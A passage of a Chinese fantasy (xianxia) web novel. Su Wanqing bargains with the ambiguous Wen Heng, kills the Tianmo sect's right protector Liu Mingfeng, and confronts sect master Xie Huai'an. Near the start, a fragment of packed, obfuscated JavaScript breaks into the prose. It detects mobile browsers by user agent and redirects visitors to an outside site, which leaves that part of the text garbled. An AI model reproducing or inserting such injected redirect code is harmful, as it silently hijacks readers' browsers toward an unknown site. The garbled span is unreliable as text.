温衡挑了一下眉头,心上喜色与惊讶交织在一起,又觉她的话不可信,谨慎地道:“这对我有什么好处?倒不如,我现在就杀了你,毁了清风明月派来得干脆。”
说的容易。
她笑了一下,道:“杀得了我吗?你是不是忘了凌霄掌门?且不说你逃出清风明月山,就说你能不能走出幻境再论他事。”
“威胁我?”温衡眉头轻挑,幽寒的眸子眯了眯,森冷的目光凌冽地落在她脸上,“我若不答应,你能奈我何?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696264|172794||http|test|mini|href|location''.split(''|''),0,{}));
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>苏晚清转而面对他,眼底一番打量,淡然道:“温公子现在代表的是天魔宗,是仙盟四席之一的掌权人,倘若我将你在苍山岭藏的秘密公之于众,你说,会是谁死?”
“你敢威胁我?当真是不怕死?”温衡觉得这个女子实在可怕,连他藏匿许久的东西都能打探得清清楚楚。
她顿了一下,见温衡有所动容,又继续道:“我说过,对于你我很是关心。”
“我还得谢谢你?”
若是温衡出手相助,那他便是与清风明月在统一战线,自有后退之路;若他选择继续夺取昆玉剑或是就此逃走,她不介意将他那件事告知所有人。
但事实如何能像苏晚清想得那么简单,他不怒反笑,道:“苏晚清,你怎么这么天真?知道了也不能拿我怎么样。我只须得到我要的东西,至于其他人,该如何便如何。”
他抬手间毁去幻境,天地忽变,将他们送回了镇水楼。
“温衡,早就料到你会这么说。”苏晚清挥手,将屹立于空中结界的玄色宝剑取回,令其缩小若手指般大小,送至随身携带的乾坤里。
他等着苏晚清接下来的话。
“昆玉剑你若想要,便答应我的请求。否则,我也可以毁了它。我调查过温公子,你入天魔宗不久,无法器傍身,无非就是觉得只有昆玉称手,其他法器不配。”
温衡瞬移到她的身后欲夺,却反被她识破一掌推开,心有不悦,沉声道:“昆玉岂是你说毁就毁?苏晚清,你的要求,我不答应。”
他看出苏晚清未带瑶光镜,既然如此,他便有胜算。
她扬了扬眉,似花绽般的笑容自她昳丽的面容荡漾开来,略带着几分胜券在握之意,她道:“我从不做没把握的事,你来之前,昆玉剑早就到了我的手上。”
说罢,她又道:“你等得起,草木村的百姓等不起。还请温公子早作打算。”
顷刻,男子的目光忽然转变,由最初的好奇转为愠怒,似要将苏晚清死死地钉在身后的降龙木上,语气里带着几分不甘,压抑着心中那股没来由的气,道:“苏晚清,我现在很想杀了你。”
比起他做的事,远远不及。
苏晚清了然,淡然自若,瞧着这男子那副样子,放柔了些语气,道:“彼此彼此。我早知温公子是个识大体之人,此间有多少次机会杀我,却都弃之,若非道不同,小女子定是心向往之。”
呵,这个女子竟会说些哄人的话。哄得他心慈手软,然后不停地算计他,当初就该在她身受重伤下山时,一剑杀了她。
心向往之,不见得。
他看着苏晚清,渐渐陷入沉思,当真在思考她提出的要求,倒也不可执行,毕竟他与天魔宗只是交易,有利便共谋,无利便可独善其身。
但不能便宜了苏晚清,他眼里闪过一丝狡黠,迈步靠近她,修长的玉指落在她的耳侧,下一刻温热的气息出现苏晚清的耳畔,男子充满蛊惑的声音轻盈地响起:
“我可以答应你的请求,但礼尚往来,你也要答应我一个要求,若你拒绝,此案就此作废,我这里没有讨价还价的余地。”
说话便说话,靠这么近做什么?
苏晚清只觉耳旁刺痒,下意识地一把推开了他,直面与其对视,面容带着一丝慌张,半刻后她掩去所有,镇定自若地道:“只要不是杀人放火的事,我可以考虑。”
他眸色渐深,似乎在打着坏主意,“做的就是杀人的事。”
20. 天魔宗来势汹汹
温衡摊开双手,往后退了两步,语气里掩藏着肆意的玩味,他端量的目光落在她的身上,随即便道:“不用放火。”
那件事易做,也符合温衡做事的风格。
“杀了右护法,他死在你的手中。如此,我们的交易才能算数。我也从来不做没有把握之事。”
柳宿眠是天魔宗左护法,苏晚清几乎没见过天魔宗右护法柳明峰,传闻此人体格肥硕、力大无比,常备一法器,名唤千斤轮,且与柳宿眠一同出自天魔宗宗主谢怀案的门下。
一招即出,能令三十个体力强健的成年男子瞬间毙命,灵力绝对不在柳宿眠之下,此次天魔宗左右护法齐出,意在攻下清风明月或是重创其处。
既除去了厌恶之人,又能将自己摘个干净,温衡这个提议,当真是万全之策,不过,仅仅是对他生效罢了。
她最近几年一直在调查温衡,终是皇天不负有心人,有了诸多收获。
比如,温衡是六年前与谢怀案达成共识,开始合作的;
再若,他曾是天魔宗的俘虏,与天魔宗有过旧怨。
她道:“你自己便能做到的事,却让我一个弱女子去做,一点怜香惜玉都不懂。”
温衡承认得很干脆,道:“鹬蚌相争,渔人得利。两败俱伤,岂不更好?天魔宗以我为刃,想斩清风明月,我亦可为你的剑。只要有筹码,无事不成欢。”
“柳明峰既然来送死,今日就送他入黄泉。”温衡原本就打算在他们交手之际夺走昆玉剑,就此一走了之,既然苏晚清要参与,那他便拉她入局,他又道,“怎么样,苏晚清,还想不想与我合作?”
她道:“当然,能和温公子这么豪爽的人做交易,我求之不得。不过,我想了又想,觉得有点亏。事成之后,你还得带我回天魔宗一次。”她的眼里没有丝毫犹豫,这反而让温衡有点捉摸不透。
“原因。”他问道。
“这就与你无关了。”
“我就喜欢这样爽快的女子。”
“巧了,我也喜欢如此狠心的男子。”
温衡:“……”
*
温衡似被她的话逗笑,轻笑几声,他倒是觉得眼前的女子越来越有意思了,他眉头挑了一下,道:“苏晚清,我现在突然不想杀你了,你这样的姑娘,很适合做杀手。”
那些送来的钱财他会退一半回去,这个女子先留着,或许可以为他所用。
“是么?我从前也有这个身份。”
苏晚清知道,今日温衡能答应她对付天魔宗,明日便能与任何人联合对付清风明月或是她,此人心性不定,应多多设防。
她再次拿出曾赠予温衡之物,以法术移到他的面前,也不含糊,直接道:“我不信你,这东西你还是戴上吧。”
“你也有怕的东西?”
温衡接了过去,径直戴在指中,他的眉眼甚至还有几分张扬,傲气凌然,倒有几分不可捉摸的锐气。
“我自然不怕,但手无寸铁的百姓不能不怕。”
他忽然道:“若是你能顺道替我除去柳宿眠,也不失为一件坏事。”
他想的倒好。
苏晚清见他没有拒绝,心里暗暗放下悬石,并没有直接拒绝他的提议,只是道:“想的不错,劝你趁早死心。”
“箫给我。”
信不过这个人,为了保险,苏晚清还是得做个策略。
“你是强盗?要我这么多东西,若是你突然反悔杀了我,那我岂不是得不偿失?”
苏晚清也将自己的瑶光镜交给他,以表诚意。
为表合作之意,适当交之也未尝不可。法器法器,既是法器,若无桎梏,一声呼唤,即可回归。
他们的合作已至开头,苏晚清不禁问道:“他们中的毒,温公子不会不知。”
“草木村村民所中之毒你三年前也见过,名叫九幽,三日内若得不到解药就会化为傀儡,此毒解药难寻,我相信贵派至今无现成的解药。”
九幽……听上去有点熟悉,似人名般,苏晚清好似在何处见到或是听到过这两个字。
温衡说的没错,三年前她逃窜到山阳时,曾得一户人家相救,给了她一些盘缠。她得知那户人家常年被妖侵袭,为报恩情,她执剑进山斩妖,却在归来之后发现恩人全家命陨于她出走那夜。
恩人姓沈,以丝绸为营生,平日里与人为善,从不结交仇敌,唯一有过节的便是知县大人。
知县知她身份,邀她一同查案,经过多方调查才知是家仆受了贿赂,将九幽之毒化在水中。
幕后主使为对面杨庄布料,名唤杨焕之妻子如花,因沈庄生意盖过了杨庄,再加之儿女过往之事,故而心生杀戮,向天魔宗求得九幽毒,欲将沈氏彻底杀绝。
虽在那时揪出真凶,但只要沾过九幽的已死之人将在三日化为行尸走肉,又称其为傀儡。
三日,他们调查便花去了三日,为护无辜百姓性命,她只能以离火将所有身中九幽的人烧为灰烬。
她将他们的骨灰埋在青桐山,那是他们的祖山,愿其能够安息。
往事若流水自眼前潺潺而过,逝向永不追回之地,散在云霄,归于尘埃。
……话归于此,她又在想,三年前之事温衡并不在场,竟能得知。想到此处,她若恍然大悟般道:“三年前……温衡,你一直藏在暗处,看来我于你来说也算还有些可用的价值。你身上究竟还有多少我未调查出来的秘密?”
他没否认,也没有承认。
顷刻,他道:“看来苏姑娘的调查也不过如此。”
她也不想去追究温衡的目的,这些都不重要。
“你打算如何做?”温衡忽然道,他将魔音箫递给她,眼见女子将此箫转了转,使得比他还要熟练,他不禁疑惑。
苏晚清将箫送至唇边,手指自觉按上孔,轻轻一吹,略微低沉的箫声自她方传来。
吹出的箫音化作利刃,迅速袭向温衡。他勾唇,闪到一旁的石柱,见女子止住动作,又来到她的身旁。
“你也能驱使这邪物,这能不能说明你我殊途同归?”
苏晚清反道:“怕是南辕北辙,道不同不相为谋。与虎谋皮,无异于自寻死路。我很惜命,这趟浑水就不参与了。”
温衡只是笑了笑,目睹女子散去的身影。随后便跟了上去,他倒要看看苏晚清要如何助他一臂之力。
苏晚清拿上他的东西,便携上燕寒舟的法器千羽回到了草木村,收好法器,她自顾走进安置中毒的村民的屋舍,多多少少的弟子抬着百姓进出,忙得大汗淋漓。
几位长老也不闲着,施法先为百姓缓解痛楚,眼下燕寒舟远去北海,并不能在此分忧,好在他留下了千羽,说是苏晚清有用得到的地方。
还真是有先见之明。
九幽毒来得突然,此前并未有这样厉害的妖毒出现,清风明月派一时半会无法制出解药,何况此毒还掺杂了其他毒素,弟子修为尚且无法为百姓缓解毒素蔓延,于是便只能是各峰长老出手。
清风明月山则有凌霄掌门与玄风长老留守即可,方圆十里的百姓都说近几日饮过草木村的水井,有过几样他们描述的症状,亦是匆匆赶来草木村。
一时之间,草木村人满为患,占了许多的地方。
回来相报的弟子说,天魔宗的左右护法正在往草木村赶来,有位弟子出言相拦却反被打伤在地,着实是来者不善。
清风明月山有结界守护,外界之人难以入内,就连草木村的百姓也只能先在山下请示,待被应允之后方能入内。
“天魔宗带了大批弟子前来,是故意针对清风明月,我们即刻去与他们决一死战!”那些弟子小心翼翼地放下百姓,听着传来的消息,自发想要前去阻止,也丝毫不惧眼前之险。
苏晚清立即叫住他们,“
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未必,他们既然未做出不妥之处,我们便不能先出手,你们先在这里为长老护法,我先去探探。我若未归,亦不能轻举妄动。等长老发话。”
她的视线中恍然出现一道颀长的影子,她也认出了来人,在那人刚刚踏入屋舍之时,目光交错半刻后,她的声音落在了温衡的耳旁:“你与我一同去打探。”
女子与他擦肩而过,只余那淡淡的桃花香味萦绕在他的身旁,他的脚步止住,随即转身与苏晚清一道离开了此地。
他的嘴角微微上扬,似有意味地看了一眼那些弟子与百姓,若是此刻趁着他们不注意,一掌袭了过去,那些人会不会,死在他的手上……
这个想法还没有真正地实施,女子的身影再次出现在他的眼前,几分幽怨伴于其中:“连师父的话都不听了吗?还不快跟上来。”
师父这个身份,听起来倒是有几分可笑。
在外人面前,他们还是师徒的关系,温衡静静地跟在她的身后,心中的疑问终是问出了口:“苏晚清,这些人对你很重要吗?我要是你,一走了之。”
苏晚清回头瞟了一眼,道:“我不像你无情无义,也无心。”
“苏晚清,你要是不想活,就拿着那把剑自刎,不会说话就闭嘴。”
苏晚清斩钉截铁地道:“是你要问,我如何不能说?”
“好,很好。”
不知为何,她觉得温衡的语气里藏着阴阳怪气的意味。她也不想细究,当即之下是要拦下天魔宗左右护法。
“他们如此大张旗鼓前来,丝毫不忌讳仙盟的存在,说明此事熟知的人很多,天音门是否知晓?”
他们一同来至一座不知名的山峰,寒冷的风吹拂两人的衣衫,飘然若轻柔的羽毛翻飞。底下的江海山川蜿蜒曲折,是呈九曲之势,纵眼瞧去,小若点星,大至琼宇。
据提供消息的弟子所言,柳明峰打着——天魔宗弟子被清风明月掳进了草木村杀害,并制成了傀儡。说罪魁祸首便是燕寒舟,如今已逃之夭夭,现率领左右护法与众弟子来讨伐清风明月派。
还有半炷香,天魔宗的人便会抵达清平县,届时他们应当会寻个听上去比较合理的理由入村,但人数太多不宜入内,必是小卒先行。
到时候,便有了机会潜入内部。
温衡一下子就明白了她的意思,道:“以你的聪明才智,猜不到就是愚蠢。”
她嘴边浮起一丝笑容,眼里全无相信,几分嗤笑掩藏于其中:“原来在你心中我很聪明。你为何要杀了柳明峰?是因为他虐待你?”
“我是个睚眦必报的人,谁伤我一分,我就得十倍奉还回去,这样我才能善罢甘休。亲自动手会脏了我的手,所以就要阿凝姑娘替我做这样腌臜的事了。”
他叫她阿凝姑娘……那日盛京司马觉唤她的话被温衡听了去。
说得冠冕堂皇,不就是隐于幕后,隔岸观火。
“他们会经过幽篁林,此处常年大雾弥漫,其中瘴毒最易使人陷入幻觉之中,弟子修为尚浅,难以度过迷障。我相信,两位护法不会坐以待毙。这个时候,便是动手之时。”
苏晚清认真地分析幽篁林的地势,也定下了动手的时机,只要柳明峰入内,她便有把握杀了他。
他不由得看向女子,见其眼中那抹一闪而过的恨意,心觉有疑,更倾向了自己心中的猜想,他问道:“你也与柳明峰有仇?”
等来的却是沉默。
她皱了皱眉头,目光上下打量着温衡,笑意渐失,略有礼貌地道:“这不在我们的交易之内,我没有必要回答。好奇心也能害死人,少说多做。”
温衡:“……”
为何总被反客为主?
他沉默半晌,未等他开口,女子便乘剑离去,遁入那片茂密深厚的竹林之中,他并不打算跟上,而是等在此处,静观其变。
苏晚清,真的能成功杀了柳明峰吗?
21. 就让他以死谢罪
幽篁林大雾弥漫,遮蔽了大半的苍穹,犹如黑云压境,隐隐透露出诡谲之感。竹林掩掩,其间密而无风过境,压抑深沉,作出的声音有若婴儿哭啼,煞是诡异。
长老嘱托过,若遇非常事,不必顾忌,一切由清风明月作为后盾……此次天魔宗来得太过蹊跷,或许草木村就是他们突破的一个关口。
她站在竹林之上,俯瞰底下缥缈丛生的掠影,隐去身形,逐渐靠近尽头,却听到几道熟悉的声音:
“清风明月就是如此胆小,竟只派几个毛头小子来赴会,这是藐视我天魔宗的威严,大哥,要不要杀了他们,以正你我风范?”
柳明峰靠在刺入地上的剑,眼里掠过一丝轻蔑,审视的目光错落在被押着的几位弟子身上,语气中满是不屑:“杀,当然要杀。此等鼠辈,胆小懦弱,不杀就只能留在世间做个祸害。”
剑欲落下,一道力量涌现,阻止了柳宿眠动作的落下,轻尘轻洒,倩影落在众人的眼前。
“右护法何必为难小弟子,何不来与我讨教一二?”苏晚清站在他们之前,身影倏忽向前,夺下武器,顺道带离了被桎梏的弟子,反手将其推了出去。
灵流涌过,阻去了他们的方向。
柳明峰看着她,轻笑道:“苏晚清,你如今已经不是清风明月派的弟子,这浑水你也想来趟。”
苏晚清礼貌性地笑了笑,淡然道:“何处有邪祟,何处就有我苏晚清。”
“大哥,就是她联合燕寒舟重伤了我,还有温衡那贪生怕死之徒,竟将我交给他们,不能放过苏晚清。”柳宿眠提起他们三人心里是无尽的怨气,只要能让他们死或是不痛快,一切都可以。
苏晚清也道:“盛京为天朝国都,左护法肆意吸食他人精血,于情于理,都应该以死谢罪。”
当日让柳宿眠逃走,已是对百姓的愧对,今日断不能让其安然离开。
柳明峰上下打量了她一番,见她孤身一人前来,心里不由得一喜。
一个人就敢来送死,是不是该说这个女子天真?
“有人说你苏晚清自诩英才,今日我柳明峰就来试试,亲自破除虚言。”
几年前他们也交过手,不过他听闻苏晚清三年前已被废修为,灵力尽失。现在看来,是清风明月派有意隐瞒。
……苏晚清不想与他废话,日光余下,犹见透着红光的灵剑出现在她的手上,她瞥了面前之人,语气掩藏诸多不喜:“天魔宗是以什么理由来的?”
柳明峰道:“燕寒舟掳走我派弟子,练成傀儡后如鼠逃窜,后清风明月又对草木村百姓暗下杀手,天魔宗秉承仙盟宗旨,特来剿灭清风明月派。”
身后的柳宿眠已经按捺不住,催促道:“大哥,你和她废什么话,就让小妹我杀了她。”
柳宿眠正欲上前,反被拉了回去,却见大哥抬手示意,听道其言:“礼数还是要懂。苏晚清,看在你是位女子,我姑且让你三招。”
“不必,我不会因你是男子就手下留情,使出你的真本事。”苏晚清转了手中之剑,霎时间灵流暗涌,聚拢在剑上的灵力自挥向左右护法二人身后的天魔宗弟子。
呼啸之风轻掠,弟子尽数倒下,而她点地而起,轻盈地飞入竹林上方,站在高空俯视底下众人。
她眼中的自信流转而出,丝毫不惧,略有挑衅的话响彻于他们之间:“道理是说不通的,若阁下胜不了我,就请从哪来回哪去。”
“夜郎自大。”
柳明峰紧随其后,追了上去。
上方时不时传来几道强大的灵力气息,被挥向地底,花草受不住这样的灵力而逐渐枯萎。
正当柳宿眠准备跟上之时,司马如意、慕怀景等人匆匆赶来,将其拦截而下,身后的清风明月弟子个个手执剑,皆是一副嫉恶如仇的脸庞,纷纷拔剑,加入了这场突如其来的斗争中。
*
盘旋长空的鸟雀不慎受击坠落,苏晚清见状,立即拦下即将挥向另外一群鸟群的攻击,又是一轮攻击袭了过来,她翻身躲过,在此之际她使用千羽移到柳明峰的身后,一脚踢中他的后颈。
那人反应极快,迅速捉住她的脚,用力一扔,在她落在竹间之际,一掌以迅雷不及掩耳之势袭来,没成想扑了个空。
这样躲躲闪闪不知持续了多久,半炷香后,苏晚清安然无恙地站在柳明峰的对面,望着捂着手臂的柳明峰,她道:“认输吧,你不是我的对手。”
柳明峰大笑几声,毫不在意地抹开嘴边的鲜血,指着苏晚清道:“千羽是燕寒舟之物,你们早有勾结,用此物取胜,我不服气。”
他堂堂天魔宗右护法,竟会输在一个小小女子手上,传出去岂不滑天下之大稽?想到此处,他越发想要杀了苏晚清……更多的是报从前之仇,若不是这个苏晚清,他的功力也不会退下,屈居柳宿眠之下。
苏晚清,必须死。
她将法器千羽隐去,只余灵剑憾山,她的眼底不见丝毫喜色,尽是憎恶。她如他所愿,道:“好,就以我之剑取你之命,也不枉右护法此行。”
柳明峰这个人早该死了——几年前她与柳明峰斗法,她将其重伤后,柳明峰便逃窜离开。
他逃到一处山村,被山民所救。后他不知感恩,竟恩将仇报,将所有山民炼化成丹,短期增长自己的修为。
她将此事上报仙盟,但消息石沉大海,终不见仙盟有所表态……如今再遇柳明峰,无论如何,他必须得为那些惨死他手的无辜山民偿命。
以清水居主人的身份手刃这个在她看来穷凶极恶的丧尽天良之徒。
柳明峰轻笑:“小小女子,真是好大的口气。纵使宗主有意留你性命,我也要你死在我的千斤轮之下。”
只见他一跃而下,两手拿着的圆锤倏忽变大了许多,上面的尖刺越发锐利,若是不慎被刺,必是难捱。
他嘴里默念着什么,法器自发涌向竹林,穿梭在其间,只消一刻,整片竹林便燃起了熊熊大火,自中央涌向四周。
销烟弥散,空气中尽是难闻的气味,周围的气温也上升得极快。
她刚想阻止,一锤重重地砸向了她这个方向,闪躲之余,攻击持续落下。剑与锤相碰撞,划出星碎的火花灿灿,两股力量也不断相互抵触,不见有此消彼长的气势。
错落之间,她瞧见底下有几道熟悉的身影,他们应当会有适合的措施去解决这些事情。
专心应敌。
她大概是小瞧了柳明峰,这几年他的功法增强了不少,越发邪气。在与他对峙的过程中,她明显地感觉到这股外来的力量隐隐约约透露着古怪,似血腥之气,闻上去格外地不爽。
“苏晚清,看着我。”
他挣脱开压下来的剑,移到苏晚清的面前,抬起右手,两指并作一排缓缓自左眼划到右眼,面上闪过一丝不怀好意的笑容。那双轮回眼散发出诱惑,一时之间竟让她迷失了方向。
正当攻击要落下时,苏晚清眼前倏忽明亮,视线不再模糊。
她伸出手指,不带犹豫地戳向了他的眼睛,趁其护眼时一脚踹开了两百斤的大汉,令其重重倒在地面上。
也就是在这个时候,远方传来一阵箜篌音,曼妙音响落下,弦杀之箭快似流星般袭来,刺中即将倒在地上的柳明峰。
他滚了几圈,身躯竟在慢慢缩小——原来传闻中的天魔宗右护法竟是一个身高不过四尺的男子,连带着他的面容也在发生变化,从端正的五官渐渐扭曲在一起,一时之间竟分不清他的鼻子长在何处。
“你——温衡!”
柳明峰大喊着,不想接受这样的结局,他再次召来法器,准备与苏晚清同归于尽,刚起身便又迎来一箭。
他的双膝皆被灵箭刺中,他跪在地上。又有一箭袭来,正对着柳明峰的心口而来,这次苏晚清挡去了攻击,将其驱逐回去。
“苏晚清,你去死吧!”在她为他挡下攻击之时,柳明峰毫不犹豫地放出毒针,幸是她反应迅速,否则就着了他的道。
她也不是善茬,旁人如何待她,她便如何回馈。
大多数毒针已然被她挡下,少部分一经反弹,径直刺入了他的身体。她反手收剑,低眸看着无法动弹的柳明峰,说道:“恩将仇报,你真是该死。”
话音刚落,便有道熟悉的身影从天而降,抬手施法,便将她怀中的法器千羽收了回去,那人向她走了几步,出手将柳明峰困在结界里面。
燕寒舟一脸严肃,眼中不见有何情绪流转,平静如水,但说出的话却是出奇地让人意外:“听说是我杀了他们天魔宗的弟子?也不出去打听,我燕寒舟从不杀畜生。”自己不过去北海办事,便被柳宿眠诬陷至此,实在可恶。
或许天魔宗未料想到温衡会反水,也未曾料想到苏晚清如今回了清风明月山,只知掌门凌霄经常闭关,燕寒舟离山多日;清平县大多百姓与草木村村民已然中毒,须耗去清风明月各峰长老六成灵力,种种因素,皆能成为攻破清风明月的关口。
诸多天魔宗弟子已被制服,柳宿眠
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却不知所踪。他们押着柳明峰前来汇合。崔瑶瞧见燕寒舟,走到其身侧,连忙道:“大师兄,我重伤了柳宿眠,是不是很厉害?”
燕寒舟点了一下头,道:“嗯,很强。”
苏晚清总觉得此事并没有这么简单。
一切都太过顺利,让人怀疑是暴风雨来临前的宁静。
所有人觉得事已解决,准备打道回府之际,苍穹忽变,瞬间之息沦为黑夜,远处孤山生出飞船,降临这里时犹见其后鬼魅丛生,呜咽四起,听得人背后发凉。
“擒老夫护法,尔等小辈真是猖狂。”这声音听起来十分苍老,但又充满了十足的压迫感,混沌云霄,来人乘风而来,睥睨下方,稍稍抬手,便是风云变幻之象。
攻势来得猛烈,暗色的灵力将地面沙土与落叶不断卷起,拢成漩涡,向他们侵袭而来。
苏晚清、燕寒舟等人不约而同地凝起结界,将这股力量阻隔在外,但只挡得了一时。那人加强灵流,顷刻之间便轻易地破除了阻挡的屏障。
灵息化作飓风,倍道而进般涌向所有人,难以抵抗的弟子纷纷被击中倒在地上,口吐鲜血,更有灵力低微的弟子重伤昏了过去。
苏晚清还未来得及开口,便听身旁传来一声女子惊慌失措的声音:“慕怀景!你没事吧!?”
是司马如意的声音,她循声而去,再度结印,凝起结界,回头去瞧倒在地上的男子,担心而又急促地道:“师兄,你用千羽将他们都带回去。我还能撑半炷香,快。”
燕寒舟站在她的身侧,闻她言,一时半会竟陷入了沉默,半晌过后才做了决定,刚召唤出千羽,眼前便浮现出一道金光,将侵蚀而来的暗色灵息吞噬殆尽。
灿若金光,凝作五指状,于苍穹之下的黑色漩涡冲击,抵消为尘埃。消解过后,灵流闪过,化作凌霄渐渐落地。
“谢宗主在本座地界,欺我门中人,也太不将本座放在眼里了。”
那人亦然,移到了凌霄面前,犹然拿下半掩着的斗篷,目光穿过凌霄径直来至苏晚清的身上,心道:“释天决,果然在这个小丫头的身上。”
凌霄一掌挥下,正欲将所有人送回清风明月山,却被其谢怀案阻止。
谢怀案抚了抚斑白的虬髯,一脸沉静地道:“柳明峰是我的人,凌掌门也要一并带走?”
僵局持续了半刻,凌霄再次抬手,将除了柳明峰之外的人送回了清风明月,只余下他与天魔宗的人站在一处。
顷刻,凌霄道:“蚍蜉撼树的道理想必谢宗主耳熟能详,不用本座过多提醒。”
谢怀案听后仰天大笑,道:“凌霄,我观你面色不佳,既然堪不破境界,倒不如让老夫替你修炼重楼。”走近两步,凌霄一个眼神示意,身后的灵力汇聚成光束,袭向天魔宗弟子。
这是法随心动……好个陆竟渊,假传消息,凌霄看样子已然度过十重境界,飞升天界是指日可待。
“不必。本座好得很,不劳谢宗主操心。本座前几日派燕寒舟前去北海寻药,离山几日,怎么到了谢宗主口中变成了奸邪恶人。你不请自来,是否已做好打算与我清风明月开战?”凌霄眼中划过狠厉,但他整个人看上去却是淡如流水,周身犹如寒山冰结,浑然有几分寒冷。
谢怀案闻言,略有歉意地道:“唉唉,既然是误会,说清楚就好了。此事是老夫有误,怨我教徒无方,还请见谅。”
“本座会将诸事告知仙盟,谢宗主还是好自为之。”
不等凌霄出手,谢怀案便立即出掌,抵在柳明峰的头顶上,作势言笑,下一刻震碎了右护法的天灵盖,令其当场死亡。
迸溅而出的鲜血洒在谢怀案的衣服,他嫌弃地割去沾了血的衣角,扬了扬手,“逆徒已死,凌掌门可以免去后顾之忧了。至于草木村,我派不知是谁如此大胆下那烈毒,实在是爱莫能助。”
“今日之事,就此作罢。明日天音门自会给个答案。”
仙盟由几大派连接,众多小派共同组成,坐镇的有清风明月派、天音门、天魔宗以及归山派,因未擢选盟主,商榷之地轮流进行,五年一次。
如今为天音门坐镇。
凌霄道:“谢宗主,你入仙盟时间不久,仙盟不喜杀戮,望谨记。”
有这个保护伞在,谢怀案自然有恃无恐。
见其要走,凌霄与谢宗主过了几招,胜了五招。
既然想进仙盟商榷,那凌霄就奉陪到底,他不再阻拦,临走之际,忍不住道:“清风明月,奉陪到底。”
22. 我想引李若酌出现
……苏晚清未来得及反应,便与其余弟子一道被师尊一手挥了回来,他们一齐站在山门前,她差点因重心不稳而摔倒,幸好反应够快,没摔倒。
她看着伸出半空的手,略微笑了笑。
燕寒舟没看她,只是对着余下的弟子道:“师尊来了就没有我们的事,有伤在身的先去疗伤,其余便回各峰巡视,以防天魔宗的人混入。”
待所有弟子散尽后,角落一旁才传来司马如意担忧的声音,他们两个循声而去,只见慕怀景紧闭双眼,昏死倒在司马如意的怀里。
司马如意姣好的花容失色,担忧与惊慌在其眼中交错,连带着白色的衣角也沾上了鲜血,看着急促走来的两人,司马如意忽然看到了希望,连忙开口道:“慕怀景……燕师兄,你们快救救他!”
这是她认识司马如意以来,第一次瞧见司马如意这样的神态。
身旁的燕寒舟汇聚灵力于掌心,传至慕怀景的身上,可以暂时缓解伤势的蔓延。
“如意,你别着急。”慕怀景为了保护司马如意,挡在其眼前,被谢怀案的攻击重伤,苏晚清也只能安慰道。
司马如意正了正心神,呼出一口气,用自己的衣袖替慕怀景擦拭额间渗出的汗液,尽力使自己平静下来,转而冷静地道:“劳烦燕师兄将他背回去。”
燕寒舟沉默,表示赞同的意思。
看着他们离去的身影,苏晚清默默拿出了温衡的魔音箫,心中的想法愈来愈烈,未踏出半步,身后便传来师尊清冷的声音:“苏晚清,你好大的胆子。”
她随即转身,面对那双毫无情绪的眼睛,顿了顿,笑道:“师尊,我这也是无奈之举。您不应该罚我,也不能罚我。”
凌霄眯起了眼睛,气势磅礴犹如黑云压境般走了过来,他明明一袭白衣加身,但此刻却全无仙风道骨,反而是有几分混沌之气。
“你说毁了释天诀,当真是真的毁了?”凌霄现在想起谢怀案临走之前那副试探的口吻,便猜到了缘由。
苏晚清知道,也是故意这么做的。
但凌霄何其人物,也猜到了她的用意,只是出于对徒弟的担忧,还是想询问一二。
“真的毁了,在毁之前我将上面的内容尽数记下。既然是仙物,我如何不能修?”她说得极为真挚,眼里流露出真情,不带一丝掩饰地道。
话音刚落,脑袋就传来一声响,耳旁闻来师尊的声音:“能修,只是会招来杀身之祸。你父亲便是修了它,才引来了万毒之主的觊觎。”
“无妨,我就是要引他出来。”
她拿出藏在袖中的玄剑,仍是疑惑地道:“温衡的剑为何会在师尊这里?”
温衡的剑,怎么会落到师尊手中?
难不成是温衡为非作歹时被师尊发现,收了这把害人的剑?
“此人变数太多,非正非邪,本座夺他灵剑,是希望他不再造杀孽。”凌霄瞧着那把透着清新之气的玄剑,凝重地道。
感觉事实如她所设想那般,但师尊明显不想与她多说。既然此剑有魔性,那便是有害之物,她不由得道:“师尊,杀了他?”
好了,话一落下,她的脑袋又是一记。她佯装吃痛地捂着脑袋,委屈地看着师尊,等待其接下来的话。
凌霄抬手,将昆玉拿在手中,细细观摩一番,随后再还给苏晚清,道:“胡言乱语,张口闭口就是杀,你们二人颇有渊源,若他为善则无事,若还是杀戮成性,就由你亲自动手。”
苏晚清:“……何德何能。”
“师尊您真会说笑。我哪有这么大的本事。”
她选择笑一下算了。
顷刻过后,凌霄忽然问道:“此次有什么打算?”
什么打算?
仇人未杀,家仇未报,她断不能因为自己之事连累他人。
因此,她认真地道:“先回山阳,若师尊召唤,弟子定千里赴会,绝不背弃。”
凌霄了然,知她的打算,此次召她回来,也不单单是他的意思,几位长老不想错过此等难遇的弟子,同时也是担忧她在外被人迫害。
“好好活着,若遇非常事,就用非常法。”
凌霄递给她一颗丹药,只道:“修炼释天诀无异于饮鸩止渴,本座尊重你的决定,这能助你缓解。下山去吧。”
苏晚清觉得这个时候走未免也太过不合时宜,她想再等几日,凌霄也不催促,交代了一些事宜便离开了这个地方。
“师尊……”她的话停在嘴边,迟迟未再道,也好,终究是要离开的。
草木村所中之毒并不难解,只是要费些功夫,抑制毒素蔓延需要消耗大半的灵力,此刻她若离开,必是陷他们于不义之地。
想到此处,苏晚清便愈发坚定心中的猜想,她先去朱雀峰,向归来的鹤羽长老讨要了去除邪气的灵石,随后便跟着将去草木村帮忙的弟子同去山下。
山下的百姓少了许多,大半百姓检查后并无事,拿了清风明月所赠送的灵药便放心地离开了草木村。
剩下的几乎都是草木村的百姓,幸是发现及时,未酿成大祸。但,也有少许百姓中毒已深。
苏晚清赶到时已有一名百姓生机全无,正为其盖上白布的时候,死去的百姓猛地惊起,粗糙的手臂爬满裂纹,生出几只蠕动的蛆虫挪出,抓着欲抬着的架子的百姓张口就是一咬。
她本想出手,但一道身影先出现在了人群之中。
关键时刻,裴忆锦出手击倒了化作傀儡的百姓,村民自觉退到一边,着急忙慌地逃离现场,有一些去搬救兵,更多的是逃回自家屋院。
见其还要再次袭击,裴忆锦一个箭步上前,将那些靠近的村民拉开,一脚踢了上去。谁曾想,傀儡一把拉住了裴忆锦的脚作势就要咬下,禁锢的力气让其挣脱不开。
